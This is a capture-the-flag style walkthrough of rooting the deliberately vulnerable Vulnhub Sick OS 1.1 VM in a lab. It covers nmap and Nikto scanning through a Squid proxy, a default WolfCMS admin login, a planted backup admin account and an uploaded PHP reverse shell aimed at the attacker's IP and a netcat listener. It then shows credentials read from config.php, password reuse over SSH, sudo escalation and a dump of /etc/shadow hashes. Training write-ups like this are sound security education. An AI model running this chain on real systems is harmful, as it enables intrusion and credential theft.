Vulnhub Sick OS 1.1
Sick OS is a Vulnerable VM which can be found on Vulnhub. These VM’s are designed with software and or system flaws and therefore vulnerable by nature. The key to exploiting them is figuring out how to leverage what you find! These VM’s are great tools for educational purposes and improving ones skills AND they’re FREE!!! These machines also provide a safe and legal method of conducting penetration tests within a safe lab environment. This will be a full walk-through on compromising the host!
This guide is for educational purposes only! You should never attempt any of the techniques outlined in this post on live targets, unless you are the owner or have the consent of the owner and legal authority to do so i.e. a scope of work, which is a legally binding document. You have been warned ….
Ok so with the serious stuff out of the way we can move on …
If you want to follow along you can grab the Sick OS 1.1 VM from here SickOS
Vulnhub - Sick OS 1.1 VM Name........: SickOs1.1 Date Release: 11 Dec 2015 Author......: D4rk Series......: SickOs Objective...: Get /root/a0216ea4d51874464078c618298b1367.txt Tester(s)...: h1tch1 Twitter.....: https:twitter.com/D4rk36/ Type: Boot-to-Root VM
Ok first things first, we need to identify the host in my lab (the lab is sandboxed and IP ranges changed regularly). I used netdiscover for that:
# netdiscover -r 192.168.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 20 Captured ARP Req/Rep packets, from 7 hosts. Total size: 1200 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.1.94 08:00:27:ac:f3:c3 1 60 Cadmus Computer Systems
Ok good so now we have our target IP: 192.168.1.94
Port scan and service enumeration
:~# nmap -Pn -p- -sSV -A 192.168.1.94 Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 11:19 EST Nmap scan report for SickOs.home (192.168.1.94) Host is up (0.00084s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA) | 2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA) |_ 256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA) 3128/tcp open http-proxy Squid http proxy 3.1.19 | http-open-proxy: Potentially OPEN proxy. |_Methods supported:GET |_http-server-header: squid/3.1.19 |_http-title: ERROR: The requested URL could not be retrieved 8080/tcp closed http-proxy MAC Address: 08:00:27:AC:F3:C3 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.4 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.84 ms SickOs.home (192.168.1.94) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 120.07 seconds
So, our Nmap scan has identified that TCP Port 22 SSH and Port 3128 Squid proxy are open. Now we have starting point! You may have noticed from the Nmap scan that TCP Port 80 isn’t open and Port 8080 is closed. I did try them on the off chance but as suspect they returned nothing!
Starting with the Squid proxy http service, I accessed it via a web browser and got this:
I also grabbed the HTTP Headers (just in case!):
HTTP Header info:
:~# curl -LIN 192.168.1.94:3128 HTTP/1.0 400 Bad Request Server: squid/3.1.19 Mime-Version: 1.0 Date: Thu, 24 Nov 2016 17:04:44 GMT Content-Type: text/html Content-Length: 3150 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from localhost X-Cache-Lookup: NONE from localhost:3128 Via: 1.0 localhost (squid/3.1.19) Connection: close
This didn’t give us much, as expected! Now lets set up our browser to use the Squid proxy:
Now we have the proxy in place, it’s probably a good time to run Nikto and or Dirb (I ran both):
Now, I’d not used nikto to scan using a proxy before, so this was new to me! A quick google/man page read sorted out the finer details.
I needed to make a change to the ‘/etc/nikto.conf’ file and add these lines:
# Proxy settings -- still must be enabled by -userproxy PROXYHOST=192.168.1.94 PROXYPORT=3128
Once the changes had been made and saved, it was time to set Nikto loose!
Using Dirb via the proxy was a similar process, though no config change was needed, I just had to specify the target URL, add the ‘-p’ flag, then our target IP:Port.
Ok, so know I have a decent idea of what’s going on with the web-server. Before I couldn’t get to any of the locations listed, can I get there through the web proxy? Now that the proxy is enabled, I opened up a browser again and entered the target IP:
Now we have a different response, winner! Now we’re gaining some traction!!! So lets check the ‘/robots.txt’ file highlighted by Dirb.
So the /robots.txt file reveals:
User-agent: * Disallow: / Dissalow: /wolfcms
Another clue … ‘/wolfcms’, the game is a foot, lets get investigating!!!
By browsing to ‘192.168.1.94/wolfcms/’ we are greeted with a WolfCMS page (a quick google confirmed this was a content management system):
So, there wasn’t an obvious login option on the WolfCMS page, time for our old faithful friend, Google! A quick google lead me to this:
As soon as I clicked on the ‘Username’ field an auto complete box popped up with the following:
This was the first time I had any type of interaction with the ‘username’ input field, normally the browser ‘autocomplete’ feature is set client side i.e. me, rather than server side. Taking this as a sign from the ‘L33T’ gods, I entered the old faithful combo of ‘admin/admin’; however, this failed with the following error:
The page isn't redirecting properly Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
Hmmm … what’s going on here then!
After a little online search, it seems that this may have something to do with cookies. A quick search led me to this…
On the redirect page press 'Alt + t' > Page info > Security > View Coookies > Search <Target_IP> > 'Remove All' and close.
Once I had done the above, I refreshed the browser. This took me back to the login screen. I Re-entered the ‘admin/admin’ combo and I was in! If you’re following along, you should be greeted with the following:
So now we have access to the web server as an administrator. Looking around the settings confirms this, and it also seems I have the option to add a user and upload files!! DING DING DING!!! So I added an additional user as a back up with the same privilege level as the Administrator user:
Name: bob Username: Hacker Password: Hacker123
NB: Cheese alert!! I was having a ‘L33t’ moment with the username/password combo … forgive me!
Ok, so a quick recap; we now have web access as the administrator to the target hosts CMS application and we have added a back up user for those ‘just incase’ scenarios. Though this is not the main objective, we need to root the host!
After this I switched my attention to the file upload facility that I have access to as the user ‘administrator’!
The web server runs php code with at least one php file present already (as seen below):
%B%Y archive <?php $archives = $this->archive->get(); ?> <?php foreach ($archives as $archive): ?> <div class="entry"> <h3><?php echo $archive->link(); ?></h3> <p class="info">Posted by <?php echo $archive->author(); ?> on <?php echo $archive->date(); ?> </p> </div> <?php endforeach; ?>
With this in mind, now seems like a good time to thinking about upload a PHP-Reverse-Shell! Pentestmonkey springs to mind! A quick visit to his site Pentestmonkey.net lets us nab a copy of his:
I modified the code to suit our scenario.
set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.1.174'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400;
As I now know from the Nikto/Dirb scans there are publicly accessible/browsable directories available on the host via the web browser. One of these dir’s is ‘/public/images’. This seems like a good location to upload our shell to. Through our Administrator console
Selecting the ‘Files’ option:
Uploading the php-reverse-shell file to the ‘/public/images’ directory is successful.
Starting a netcat listener on my host allows me to catch the incoming connection from our reverse shell that I uploaded:
nc -lvp 1234
Then by browsing to the reverse shell URL:
We can now trigger our reverse php shell though this URL and have the server run the code that will initiate our reverse shell. This will then activate on our attacking host terminal where my netcat listener is waiting for incoming connections:
[email protected]:~# nc -l -v -p 1234 listening on [any] 1234 ... connect to [192.168.1.174] from SickOs.home [192.168.1.94] 41618 Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux 15:29:06 up 31 min, 0 users, load average: 0.01, 0.05, 0.05 USER TTY FROM [email protected] IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data $ ls
Ok, so its a low privilege shell! We need to elevate!! Whilst here, I look around for anything that can help with that:
Host info (/etc/os-release): $ cat os-release NAME="Ubuntu" VERSION="12.04.4 LTS, Precise Pangolin" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu precise (12.04.4 LTS)" VERSION_ID="12.04"
Then I had a look at the ‘/etc/passwd’ file for other users:
$ cat passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false whoopsie:x:103:106::/nonexistent:/bin/false landscape:x:104:109::/var/lib/landscape:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
Note the ‘sickos’ user listed above.
I then decided to look in the ‘/var/www’ dir, to see if any of the files there have anything useful:
$ cd ../var/www $ ls connect.py index.php robots.txt wolfcms
‘wolfcms’ is directory, so I looked in there to:
$ cd wolfcms $ ls CONTRIBUTING.md README.md composer.json config.php docs favicon.ico index.php public robots.txt wolf
While having a look through the files in this dir the ‘config.php’ seemed like an obvious place to start for any hardcoded creds. Bingo!! The file contained some interesting details:
// Database settings: define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306'); define('DB_USER', 'root'); define('DB_PASS', '[email protected]'); define('TABLE_PREFIX', '');
The config file has given me the root SQL login credentials for a mysql database ‘wolf’. My next step was to attempt to login into the mysql db from my current shell, this failed and I’m not sure why! I tried a few more time and it failed each time!
Ok, so what else do we have! We discovered a user ‘sickos’, a db user ‘root’ and we have a password, maybe there’s some password reuse going on! I decided to try the ssh service with the usernames and password I had recovered in attempt to leverage the ssh service on the target host. The user name ‘sickOS’ got me a result:
With the user confirmed as ‘sickos’ I checked if I had sudo privileges, using the same password ‘[email protected]’. This was accepted and I now have root privilege:
[email protected]:/$ sudo su [sudo] password for sickos: [email protected]:/# whoami root
With this now confirmed, time to get some info:
--[Snip of shadow file]-- [email protected]:/# cat /etc/shadow root:$6$0QtWAOH/$6uGGYVCw2lccBlovXeH8dqH6ILcCRZw.OydoldEZVS3m7RxgdUoZLl3UbDId59KMTUuxkGG/ln0gbwWSO7kNp.:16775:0:99999:7::: sickos:$6$x3xnQBfR$4WohiqaIzmpfk1duLLeJqA33zNhEQeuvPS4NiLLIxxOyNwz2dRMUbah.MZ0gSVMV4YNJC6meNpxa4YSrSJ75X.:16700:0:99999:7:::
User hashes dumped.
And saving the best for last ………
There we have it folks! We got through it all and completed the objective, root access and ultimately pwnd SickOS! This is just the way I ‘rooted’ SickOS, there are other ways of doing this and more info can be retrieved…
Well thats it folks… You don’t have to go home, but you cant stay here!
Thanks for reading!!
Let me know what you think of this article on twitter @SecEventsPen!